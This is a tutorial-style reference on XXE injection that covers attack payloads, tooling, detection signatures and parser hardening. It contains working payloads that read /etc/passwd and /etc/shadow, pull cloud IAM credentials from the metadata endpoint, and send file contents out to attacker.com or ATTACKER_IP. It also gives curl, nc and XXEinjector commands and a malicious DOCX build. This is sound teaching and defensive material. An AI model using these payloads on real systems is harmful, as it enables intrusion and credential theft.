XML External Entity (XXE) Injection

Introduction

XML External Entity injection exploits the XML specification's support for ENTITY declarations that reference external resources — file paths, HTTP endpoints, or FTP URIs. When a parser expands these declarations without restriction, an attacker can read arbitrary files from the server's filesystem, initiate server-side requests to internal services, and in some configurations execute code or trigger denial of service through entity expansion loops (Billion Laughs).

The root cause is not a bug in any single parser — it is a feature of the XML 1.0 specification. External entity support predates modern threat models, and many applications inherit vulnerable parser configurations from frameworks, libraries, or third-party components that enable it by default. Office document formats (DOCX, XLSX, ODT), SVG, SAML assertions, RSS/Atom feeds, and any custom XML API are all viable attack surfaces. The impact frequently includes local file read of /etc/passwd, /etc/shadow, application configuration files with database credentials, AWS instance metadata via http://169.254.169.254/, and internal service enumeration.

SSRF via XXE is particularly dangerous in cloud environments where the metadata endpoint returns IAM credentials. A successful http:// entity request against 169.254.169.254/latest/meta-data/iam/security-credentials/ gives temporary AWS credentials that may have broad permissions. The distinction between file disclosure and SSRF comes down to the URI scheme: file:// reads from disk, http:// makes an outbound TCP connection.

Impact

• Local file read: /etc/passwd, /proc/self/environ, application config files, private keys
• AWS/GCP/Azure instance metadata exfiltration yielding IAM credentials
• Internal network port scanning via http:// entity requests (response timing reveals open ports)
• SSRF to services that trust requests from localhost (Redis, Memcached, internal APIs)
• Credential theft from config files (database.yml, wp-config.php, .env, web.config)
• DoS via recursive entity expansion (Billion Laughs / XML bomb)
• Pivot to RCE when combined with PHP expect:// wrappers or readable SSH authorized_keys

Technical Details

XML parsers that support external entities must fetch and inline the content of any SYSTEM or PUBLIC entity before returning the parsed document. The attack injects a DOCTYPE declaration containing an external entity definition, then references that entity inside the document body where the application will reflect or process the content.

Two entity types matter for exploitation:

General entities (&xxe;) are expanded inline in element content — the classic reflected XXE path. Parameter entities (%xxe;) are only valid inside DTD declarations, but they can be used to load external DTD files containing entity chains that trigger OOB data exfiltration. Parameter entities are essential for blind XXE where the application never returns the parsed content.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<stockCheck>
  <productId>&ssrf;</productId>
  <storeId>1</storeId>
</stockCheck>

<!ENTITY portscan SYSTEM "http://192.168.1.1:6379/">

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY &#x25; exfil SYSTEM 'https://attacker.com/collect?d=%file;'>">
%wrap;
%exfil;

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "https://attacker.com/evil.dtd">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

GET /collect?d=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1:... HTTP/1.1
Host: attacker.com

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%exfil;

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ELEMENT svg ANY>
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="30">&xxe;</text>
</svg>

unzip target.docx -d docx_extracted/
# Edit word/document.xml to inject DOCTYPE:
# <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# Reference &xxe; inside a <w:t> element
zip -r malicious.docx docx_extracted/

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:wpc="..." xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  <w:body>
    <w:p><w:r><w:t>&xxe;</w:t></w:r></w:p>
  </w:body>
</w:document>

payload = '''<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>'''

with open("xxe_utf16.xml", "wb") as f:
    f.write(payload.encode("utf-16"))

Attack Tools

# Burp Scanner — active scan on XML endpoints
# Right-click request > Scan > Active Scan
# Findings appear under Target > Issue Activity

# For manual testing in Repeater:
# 1. Intercept XML request
# 2. Modify Content-Type to application/xml if needed
# 3. Inject DOCTYPE before root element
# 4. Use Burp Collaborator for blind OOB:
#    <!ENTITY xxe SYSTEM "http://YOUR-COLLABORATOR-ID.burpcollaborator.net">

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://abcd1234.burpcollaborator.net/xxe-test">
]>
<root>&xxe;</root>

git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector

# Save the intercepted request to request.txt with XXEINJECT placeholder
ruby XXEinjector.rb \
  --host=192.168.1.100 \
  --httpport=4444 \
  --file=/tmp/request.txt \
  --path=/etc/passwd \
  --oob=http \
  --phpfilter

ruby XXEinjector.rb \
  --host=192.168.1.100 \
  --httpport=4444 \
  --file=/tmp/request.txt \
  --enumports=all \
  --oob=http

POST /api/parse HTTP/1.1
Host: target.com
Content-Type: application/xml

XXEINJECT

curl -s -X POST https://target.com/api/parse \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'

# Terminal 1: start listener
nc -lvnp 8080

# Terminal 2: send payload (replace ATTACKER_IP)
curl -s -X POST https://target.com/api/parse \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER_IP:8080/xxe">]><root>&xxe;</root>'

curl -s -X POST https://target.com/api/parse \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root>&xxe;</root>'

curl -s -X POST https://target.com/api/parse \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/shadow">]><root>&xxe;</root>' \
  | base64 -d

Detection

XXE attacks generate several detectable patterns across web server logs, application logs, and network telemetry.

Web Application Firewall / IDS Signatures

Application Logs

Watch for file-not-found errors in application logs that contain file paths — these indicate error-based blind XXE enumeration:

WARN  xml.parser - Failed to open: file:///etc/shadow (Permission denied)
ERROR xml.parser - External entity resolution failed: http://169.254.169.254/

Network Monitoring (SSRF component)

# Zeek/Bro signature for metadata endpoint access
event http_request(c: connection, method: string, original_URI: string, ...) {
  if ( /169\.254\.169\.254/ in original_URI )
    NOTICE([$note=Notice::Weird, $msg="IMDSv1 access attempt"]);
}

SIEM Query — Splunk

index=web_logs method=POST
| rex field=request_body "(?i)<!DOCTYPE\s+\w+\s*\["
| stats count by src_ip, uri_path, user_agent
| where count > 5
| sort -count

AWS CloudTrail — Detect IMDS credential access via SSRF

{
  "eventSource": "sts.amazonaws.com",
  "eventName": "AssumeRole",
  "sourceIPAddress": "169.254.169.254"
}

CloudTrail does not log IMDSv1 token retrieval directly, but subsequent API calls using credentials obtained via SSRF will originate from the EC2 instance IP with an IAM role credential — correlate userIdentity.type: AssumedRole with unexpected API call patterns.

Remediation

Disable External Entity Processing — Language-Specific

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

from lxml import etree

parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    load_dtd=False,
    forbid_dtd=True,
)
tree = etree.fromstring(xml_data, parser=parser)

Architectural Mitigations

• Migrate XML APIs to JSON where the business logic permits — eliminates the attack surface entirely
• Validate Content-Type header before parsing: reject application/xml on endpoints that expect application/json
• For file upload processing (DOCX, SVG), run parsers in a sandboxed subprocess or container with no network access and read-only filesystem mounts
• Block outbound HTTP/DNS from application servers at the network perimeter to prevent OOB exfiltration callbacks
• Enable IMDSv2 on AWS EC2 instances (HttpTokens: required) — IMDSv2 requires a PUT request with a session token before GET requests to the metadata endpoint, which XML entity fetches cannot satisfy
• Apply egress network policies in Kubernetes to prevent application pods from reaching 169.254.169.254

References

MITRE ATT&CK Techniques

• T1190 - Exploit Public-Facing Application
• T1552.001 - Unsecured Credentials: Credentials In Files
• T1083 - File and Directory Discovery

Tools Documentation

• PortSwigger Web Security Academy — XXE
• XXEinjector GitHub
• OWASP XXE Prevention Cheat Sheet
• defusedxml Python library
• Burp Suite Collaborator documentation

Next Steps

• Server-Side Request Forgery (SSRF)
• Insecure Deserialization
• Authentication Bypass
• SQL Injection